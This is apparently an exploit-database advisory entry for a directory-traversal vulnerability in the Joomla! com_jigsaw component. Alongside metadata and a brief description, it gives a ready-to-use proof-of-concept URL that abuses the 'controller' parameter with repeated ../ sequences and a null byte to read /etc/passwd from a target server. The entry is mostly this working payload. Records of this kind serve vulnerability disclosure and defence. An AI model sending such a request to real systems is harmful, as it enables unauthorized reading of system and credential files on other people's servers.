Joomla! Component com_jigsaw - 'Controller' Directory Traversal

Author: FL0RiX
type: webapps
platform: php
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date_added: 2010-08-03 
date_updated: 2017-01-09 
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source: https://www.securityfocus.com/bid/42144/info

The 'com_jigsaw' component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00